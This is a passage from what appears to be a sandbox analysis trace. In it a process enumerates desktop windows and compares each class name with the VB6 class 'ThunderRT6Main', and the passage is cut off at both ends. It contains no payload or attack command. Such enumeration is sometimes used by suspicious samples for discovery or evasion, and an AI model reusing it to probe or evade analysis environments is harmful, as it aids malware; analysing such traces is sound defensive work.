lpdwProcessId=0x0) returned 0x92c [0140.633] GetWindowLongA (hWnd=0x101da, nIndex=-16) returned -2046820352 [0140.633] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0 [0140.633] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0 [0140.633] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d8 [0140.633] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0140.633] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0140.633] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.633] GetWindowLongA (hWnd=0x101d8, nIndex=-16) returned -2046820352 [0140.633] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0 [0140.633] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0 [0140.633] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x201b2 [0140.633] GetClassNameA (in: hWnd=0x201b2, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0140.633] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0140.633] GetWindowThreadProcessId (in: hWnd=0x201b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.633] GetWindowLongA (hWnd=0x201b2, nIndex=-16) returned 114229248 [0140.633] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f4a0000 [0140.633] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f4a0000 [0140.633] GetWindow (hWnd=0x201b2, uCmd=0x2) returned 0x4010e [0140.633] GetClassNameA (in: hWnd=0x4010e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0140.633] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0140.633] GetWindowThreadProcessId (in: hWnd=0x4010e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x944 [0140.633] GetWindow (hWnd=0x4010e, uCmd=0x2) returned 0x201ac [0140.633] GetClassNameA (in: hWnd=0x201ac, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0140.634] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0140.634] GetWindowThreadProcessId (in: hWnd=0x201ac, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.634] GetWindowLongA (hWnd=0x201ac, nIndex=-16) returned -2080374784 [0140.634] GetWindowLongPtrA (hWnd=0x201ac, nIndex=-6) returned 0x13f4a0000 [0140.634] GetWindowLongPtrA (hWnd=0x201ac, nIndex=-6) returned 0x13f4a0000 [0140.634] GetWindow (hWnd=0x201ac, uCmd=0x2) returned 0x1019c [0140.634] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.634] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.634] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7b8 [0140.634] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0140.634] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Stomach_harassment_") returned 19 [0140.634] lstrcmpA (lpString1="Stomach_harassment_", lpString2="ThunderRT6Main") returned -1 [0140.634] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7b8 [0140.634] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x20216 [0140.634] GetClassNameA (in: hWnd=0x20216, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0140.634] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0140.634] GetWindowThreadProcessId (in: hWnd=0x20216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.634] GetWindowLongA (hWnd=0x20216, nIndex=-16) returned -2080374784 [0140.634] GetWindowLongPtrA (hWnd=0x20216, nIndex=-6) returned 0x7feffa40000 [0140.634] GetWindowLongPtrA (hWnd=0x20216, nIndex=-6) returned 0x7feffa40000 [0140.634] GetWindow (hWnd=0x20216, uCmd=0x2) returned 0x20206 [0140.634] GetClassNameA (in: hWnd=0x20206, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0140.634] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0140.634] GetWindowThreadProcessId (in: hWnd=0x20206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.634] GetWindowLongA (hWnd=0x20206, nIndex=-16) returned 1149272145 [0140.634] GetWindow (hWnd=0x20206, uCmd=0x2) returned 0x101d4 [0140.634] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0140.634] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0140.634] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.634] GetWindowLongA (hWnd=0x101d4, nIndex=-16) returned 1149272145 [0140.634] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x10196 [0140.634] GetClassNameA (in: hWnd=0x10196, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Litwindow") returned 9 [0140.634] lstrcmpA (lpString1="Litwindow", lpString2="ThunderRT6Main") returned -1 [0140.634] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250 [0140.634] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10198 [0140.634] GetClassNameA (in: hWnd=0x10198, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.634] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.634] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250 [0140.634] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10192 [0140.634] GetClassNameA (in: hWnd=0x10192, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Fed_bodies_wnd") returned 14 [0140.634] lstrcmpA (lpString1="Fed_bodies_wnd", lpString2="ThunderRT6Main") returned -1 [0140.634] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b4 [0140.634] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0140.634] GetClassNameA (in: hWnd=0x10194, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.634] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.634] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b4 [0140.635] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0140.635] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="mauitellingWeightapp") returned 20 [0140.635] lstrcmpA (lpString1="mauitellingWeightapp", lpString2="ThunderRT6Main") returned -1 [0140.635] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x704 [0140.635] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0140.635] GetClassNameA (in: hWnd=0x10190, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.635] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.635] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x704 [0140.635] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0140.635] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Buriedpositioncls") returned 17 [0140.635] lstrcmpA (lpString1="Buriedpositioncls", lpString2="ThunderRT6Main") returned -1 [0140.635] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0140.635] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0140.635] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.635] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.635] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0140.635] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0140.635] GetClassNameA (in: hWnd=0x10186, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="translations_Massive_Mp_app") returned 27 [0140.635] lstrcmpA (lpString1="translations_Massive_Mp_app", lpString2="ThunderRT6Main") returned 1 [0140.635] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x460 [0140.635] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0140.635] GetClassNameA (in: hWnd=0x10188, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.635] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.635] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x460 [0140.635] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0140.635] GetClassNameA (in: hWnd=0x10182, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="vendor_win") returned 10 [0140.635] lstrcmpA (lpString1="vendor_win", lpString2="ThunderRT6Main") returned 1 [0140.635] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x798 [0140.635] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0140.635] GetClassNameA (in: hWnd=0x10184, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.635] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.635] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x798 [0140.635] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017e [0140.635] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Uniformphotographwin") returned 20 [0140.635] lstrcmpA (lpString1="Uniformphotographwin", lpString2="ThunderRT6Main") returned 1 [0140.635] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xf0 [0140.635] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10180 [0140.635] GetClassNameA (in: hWnd=0x10180, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.635] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.635] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xf0 [0140.635] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0140.635] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="filingsunriseIdentificationwin") returned 30 [0140.635] lstrcmpA (lpString1="filingsunriseIdentificationwin", lpString2="ThunderRT6Main") returned -1 [0140.636] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c [0140.636] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017c [0140.636] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.636] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.636] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c [0140.636] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10176 [0140.636] GetClassNameA (in: hWnd=0x10176, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Alt_wnd") returned 7 [0140.636] lstrcmpA (lpString1="Alt_wnd", lpString2="ThunderRT6Main") returned -1 [0140.636] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x75c [0140.636] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0140.636] GetClassNameA (in: hWnd=0x10178, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.636] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.636] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x75c [0140.636] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0140.636] GetClassNameA (in: hWnd=0x10172, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="testVotingdistributedwin") returned 24 [0140.636] lstrcmpA (lpString1="testVotingdistributedwin", lpString2="ThunderRT6Main") returned -1 [0140.636] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x56c [0140.636] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0140.636] GetClassNameA (in: hWnd=0x10174, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.636] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.636] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x56c [0140.636] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0140.636] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="saferwin") returned 8 [0140.636] lstrcmpA (lpString1="saferwin", lpString2="ThunderRT6Main") returned -1 [0140.636] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x58c [0140.636] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0140.636] GetClassNameA (in: hWnd=0x10170, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.636] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.636] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x58c [0140.636] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0140.636] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="fancyInitiallywindow") returned 20 [0140.636] lstrcmpA (lpString1="fancyInitiallywindow", lpString2="ThunderRT6Main") returned -1 [0140.636] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620 [0140.636] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0140.636] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.636] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.636] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620 [0140.636] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0140.636] GetClassNameA (in: hWnd=0x10166, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="remove_Thu_Annotation_wnd") returned 25 [0140.637] lstrcmpA (lpString1="remove_Thu_Annotation_wnd", lpString2="ThunderRT6Main") returned -1 [0140.637] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0 [0140.637] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0140.637] GetClassNameA (in: hWnd=0x10168, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.637] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.637] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0 [0140.637] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0140.637] GetClassNameA (in: hWnd=0x10162, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="pinelaboratoriesreferencedwin") returned 29 [0140.637] lstrcmpA (lpString1="pinelaboratoriesreferencedwin", lpString2="ThunderRT6Main") returned -1 [0140.637] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0140.637] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0140.637] GetClassNameA (in: hWnd=0x10164, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.637] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.637] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0140.637] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0140.637] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Matches_wnd") returned 11 [0140.637] lstrcmpA (lpString1="Matches_wnd", lpString2="ThunderRT6Main") returned -1 [0140.637] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x744 [0140.637] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0140.637] GetClassNameA (in: hWnd=0x10160, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.637] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.637] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x744 [0140.637] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0140.637] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Fresh_cn_Eggs_wnd") returned 17 [0140.637] lstrcmpA (lpString1="Fresh_cn_Eggs_wnd", lpString2="ThunderRT6Main") returned -1 [0140.637] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0140.637] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0140.637] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.637] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.637] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0140.637] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x10156 [0140.637] GetClassNameA (in: hWnd=0x10156, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="what_Volkswagen_app") returned 19 [0140.637] lstrcmpA (lpString1="what_Volkswagen_app", lpString2="ThunderRT6Main") returned 1 [0140.637] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x760 [0140.637] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x10158 [0140.637] GetClassNameA (in: hWnd=0x10158, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.637] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.637] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x760 [0140.637] GetWindow (hWnd=0x10158, uCmd=0x2) returned 0x3010a [0140.638] GetClassNameA (in: hWnd=0x3010a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="commit_Newman_Rings_win") returned 23 [0140.638] lstrcmpA (lpString1="commit_Newman_Rings_win", lpString2="ThunderRT6Main") returned -1 [0140.638] GetWindowThreadProcessId (in: hWnd=0x3010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x348 [0140.638] GetWindow (hWnd=0x3010a, uCmd=0x2) returned 0x90154 [0140.638] GetClassNameA (in: hWnd=0x90154, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.638] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.638] GetWindowThreadProcessId (in: hWnd=0x90154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x348 [0140.638] GetWindow (hWnd=0x90154, uCmd=0x2) returned 0x20116 [0140.638] GetClassNameA (in: hWnd=0x20116, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0140.638] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0140.638] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0140.638] GetWindow (hWnd=0x20116, uCmd=0x2) returned 0x1014a [0140.638] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0140.638] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0140.638] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0140.638] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x10148 [0140.638] GetClassNameA (in: hWnd=0x10148, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0140.638] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0140.638] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0140.638] GetWindow (hWnd=0x10148, uCmd=0x2) returned 0x2013e [0140.638] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0140.638] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0140.638] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0140.638] GetWindow (hWnd=0x2013e, uCmd=0x2) returned 0x10132 [0140.638] GetClassNameA (in: hWnd=0x10132, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0140.638] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0140.638] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0140.638] GetWindow (hWnd=0x10132, uCmd=0x2) returned 0x10134 [0140.638] GetClassNameA (in: hWnd=0x10134, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.638] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.638] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0140.638] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x1012a [0140.638] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ATL:000007FEFC1141F0") returned 20 [0140.638] lstrcmpA (lpString1="ATL:000007FEFC1141F0", lpString2="ThunderRT6Main") returned -1 [0140.638] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0140.638] GetWindow (hWnd=0x1012a, uCmd=0x2) returned 0x1012c [0140.638] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.638] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.638] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0140.639] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x10120 [0140.639] GetClassNameA (in: hWnd=0x10120, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0140.639] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0140.639] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0140.639] GetWindow (hWnd=0x10120, uCmd=0x2) returned 0x10122 [0140.639] GetClassNameA (in: hWnd=0x10122, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.639] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.639] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0140.639] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011e [0140.639] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0140.639] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0140.639] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0140.639] GetWindow (hWnd=0x1011e, uCmd=0x2) returned 0x200c0 [0140.639] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.639] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.639] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.639] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x200ae [0140.639] GetClassNameA (in: hWnd=0x200ae, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0140.639] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0140.639] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.639] GetWindow (hWnd=0x200ae, uCmd=0x2) returned 0x200b0 [0140.639] GetClassNameA (in: hWnd=0x200b0, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0140.639] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0140.639] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.639] GetWindow (hWnd=0x200b0, uCmd=0x2) returned 0x200b4 [0140.639] GetClassNameA (in: hWnd=0x200b4, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.639] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.639] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.639] GetWindow (hWnd=0x200b4, uCmd=0x2) returned 0x200bc [0140.639] GetClassNameA (in: hWnd=0x200bc, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.639] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.639] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.639] GetWindow (hWnd=0x200bc, uCmd=0x2) returned 0x300ca [0140.639] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.639] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.639] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.639] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x800a0 [0140.639] GetClassNameA (in: hWnd=0x800a0, lpClassName=0x28e2a0, nMaxCount=64 | out: 